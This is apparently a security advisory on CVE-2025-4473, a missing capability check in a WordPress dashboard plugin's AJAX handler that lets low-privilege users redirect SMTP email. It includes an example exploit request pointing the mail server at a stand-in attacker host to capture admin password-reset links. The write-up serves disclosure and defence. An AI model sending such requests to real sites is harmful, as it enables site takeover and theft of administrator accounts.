Overview
The cybersecurity realm is constantly evolving with newer threats and vulnerabilities emerging every day. One such vulnerability, identified as CVE-2025-4473, affects the Frontend Dashboard plugin for WordPress. This plugin is widely used for managing the frontend view of WordPress websites, and the vulnerability can potentially affect a massive number of websites worldwide.
The vulnerability stems from a missing capability check in the ajax_request() function, which can lead to Privilege Escalation. This allows attackers with minimal Subscriber-level access to manipulate where the plugin sends outgoing emails, potentially leading to a full site takeover. Given WordPress’s popularity and broad usage, this vulnerability poses a significant risk to many online businesses and blogs.
Vulnerability Summary
CVE ID: CVE-2025-4473
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Frontend Dashboard WordPress Plugin | 1.0 to 2.2.7
How the Exploit Works
The exploit works by targeting the Frontend Dashboard plugin’s ajax_request() function. This function doesn’t have a proper capability check, allowing even Subscriber-level users to modify SMTP settings. An attacker can thus manipulate these settings to redirect outgoing emails to their server. If these emails contain password reset links for administrators, the attacker can access them, reset the admin passwords, and gain full control of the site.
Conceptual Example Code
This is a conceptual example of how an attacker might exploit the vulnerability. This could be done through a malicious AJAX request, like the one shown below:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
action=fd_ajax_request&fd_smtp_server=attacker.comIn this example, `fd_ajax_request` is the AJAX action tied to the vulnerable function, and `fd_smtp_server` is the setting that the attacker is trying to manipulate. The attacker sets it to their own server (`attacker.com`) to capture outgoing emails.
Mitigation Guidance
Website administrators using the Frontend Dashboard plugin are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability. Regularly reviewing user privileges and ensuring that they align with the principle of least privilege can also help mitigate this and other similar risks.